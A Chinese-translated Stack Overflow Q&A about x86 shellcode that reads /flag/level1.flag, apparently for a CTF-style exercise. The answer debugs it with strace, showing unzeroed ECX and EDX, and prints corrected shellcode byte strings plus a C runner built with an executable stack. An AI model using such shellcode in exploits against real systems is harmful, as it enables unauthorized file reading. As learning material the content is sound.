linux - 拉出二进制文件时,Shellcode 不起作用

标签 linux assembly x86 nasm shellcode

我正在学习编写 shellcode 并试图读取一个文件(在本例中为/flag/level1.flag)。此文件包含单个字符串。

通过查看在线教程,我想出了以下shellcode。它打开文件,逐字节读取(将每个字节插入堆栈),然后写入 stdout 并提供指向堆栈顶部的指针。

section .text

global _start

_start:
    jmp ender

starter:
    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    mov al, 0x5                 ; open()
    int 0x80
    mov esi, eax                ; [file handle to flag]
    jmp read

exit:
    xor eax, eax 
    mov al, 0x1               ; exit()
    xor ebx, ebx                ; return code: 0
    int 0x80

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                ; read 1 byte
    int 0x80

    xor ebx, ebx 
    cmp eax, ebx 
    je exit                     ; if read() returns 0x0, exit

    xor eax, eax 
    mov al, 0x4                 ; write()
    mov bl, 0x1                 ; stdout
    int 0x80
    inc esp 
    jmp read                  ; loop

ender:
    call starter
    string: db "/flag/level1.flag"

这是我编译和测试它的方法:
nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o

当我跑 ./test ,我得到了预期的结果。现在,如果我从二进制文件中提取 shellcode 并在精简的 C 运行程序中测试它:
char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";


int main(int argc, char **argv){
    int (*exeshell)();
    exeshell = (int (*)()) code;
    (int)(*exeshell)();
}

编译方式如下:
gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c 

然后运行它,我看到我正确读取了文件,但随后继续向终端打印垃圾(我必须按Ctrl + C)。

我猜这与 read() 有关没有遇到 \x00并且,因此继续从堆栈打印数据,直到找到空标记。那是对的吗?如果是这样,为什么编译后的二进制文件有效?

最佳答案

TL;博士 :在目标可执行文件中作为漏洞运行时,永远不要假设寄存器的状态。如果您需要将整个寄存器清零,您必须自己这样做。独立运行和在正在运行的程序中运行的行为可能会有所不同,具体取决于漏洞利用开始执行时寄存器中的内容。

如果您正确构建了 C 代码并确保堆栈是可执行的,并且构建了 32 位漏洞利用并在 32 位可执行文件中运行它(正如您所做的那样),那么在非独立时事情可能会失败的主要原因是如果您没有'没有正确地将寄存器归零。作为独立程序,许多寄存器可能为 0 或在高 24 位中为 0,而在正在运行的程序中可能并非如此。这可能会导致您的系统调用行为不同。

调试 shell 代码的最佳工具之一是像 GDB 这样的调试器。您可以在系统调用 ( int 0x80 ) 之前逐步执行您的漏洞利用并查看寄存器状态。在这种情况下,一种更简单的方法是 STRACE 工具(系统跟踪)。它将显示所有系统调用和程序发出的参数。

如果您运行 strace ./test >output在您的独立程序中 /flag/level1.flag包含:

test

您可能会看到 STRACE 输出类似于:

execve("./test", ["./test"], [/* 26 vars */]) = 0
strace: [ Process PID=25264 runs in 32 bit mode. ]
open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1
)                       = 1
read(3, "", 1)                          = 0
exit(0)                                 = ?
+++ exited with 0 +++


我将标准输出重定向到文件 output所以它不会使 STRACE 输出困惑。你可以看到文件/flag/level1.flag被打开为 O_RDONLY 并返回文件描述符 3。然后一次读取 1 个字节并将其写入标准输出(文件描述符 1)。 output文件包含 /flag/level1.flag 中的数据.

现在在您的 shellcode 程序上运行 STRACE 并检查差异。在读取标志文件之前忽略所有系统调用,因为这些是系统调用 shellcode在被利用之前直接或间接制作的程序。输出可能看起来不完全像这样,但它可能是相似的。

open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
read(-22, 0xffeac2cc, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096
read(-22, 0xffeac2cd, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096
[snip]


你应该注意到打开失败了 -1 EINVAL (Invalid argument)如果您观察到传递给 open 的标志,则有很多不仅仅是 O_RDONLY。这表明 ECX 中的第二个参数可能没有正确归零。如果你看看你的代码,你有这个:
pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
mov al, 0x5                 ; open()
int 0x80

您没有将 ECX 设置为任何内容。在实际程序中运行时,ECX 非零。修改代码为:
pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
xor ecx, ecx
mov al, 0x5                 ; open()
int 0x80

现在使用此修复程序生成 shellcode 字符串,它可能看起来像:

\xeb\x32\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xc9\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67



在您的 shellcode 中运行这个 shell 字符串再次使用 STRACE 编程,输出可能类似于:

open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
read(3, "test\n", 4286583809)           = 5
write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\
377\0\0\0\0"..., 4286583809) = 4096


这样更好,但仍然存在问题。要读取的字节数(第三个参数)为 4286583809(您的值可能不同)。您的独立代码假设一次读取 1 个字节。这表明 EDX 的高 24 位可能没有正确清零。如果您查看代码,请执行以下操作:
read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                 ; read 1 byte
    int 0x80

在这部分代码中(或之前),您不会在将 1 放入 DL 之前将 EDX 归零。你可以这样做:
read:
    xor eax, eax
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    xor edx, edx                ; Zero all of EDX
    mov dl, 0x1                 ; read 1 byte
    int 0x80

现在使用此修复程序生成 shellcode 字符串,它可能看起来像:

\xeb\x34\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\x31\xd2\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe4\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe1\xe8\xc7\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67



在您的 shellcode 中运行这个 shell 字符串再次使用 STRACE 编程,输出可能类似于:

open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1)                       = 1
read(3, "", 1)                          = 0


这会产生所需的行为。查看汇编代码的其余部分,似乎没有在任何其他寄存器和系统调用上出现此错误。使用 GDB 会在每次系统调用之前向您显示有关寄存器状态的类似信息。您会发现寄存器并不总是具有预期值。

关于linux - 拉出二进制文件时,Shellcode 不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55698688/

相关文章:

c++ - 监视守护进程的状态

php - php-fpm 在 docker 中运行或不在 docker 中运行的用户是什么?

windows - 在 windows 上交叉编译 linux

c++ - 内联汇编操作数约束

c++ - GCC 内联汇编错误 : Cannot take the address of 'this' , 这是一个右值表达式

assembly - 处理器之间的转换

assembly - “rdtsc”之前的“cpuid”

linux-kernel - 在 linux 2.6 中将通用寄存器保存在 switch_to() 中

c# - 在 linux box 中托管 .net API

assembly - 是否有使用 AT&T 语法的完整 x86 汇编语言引用?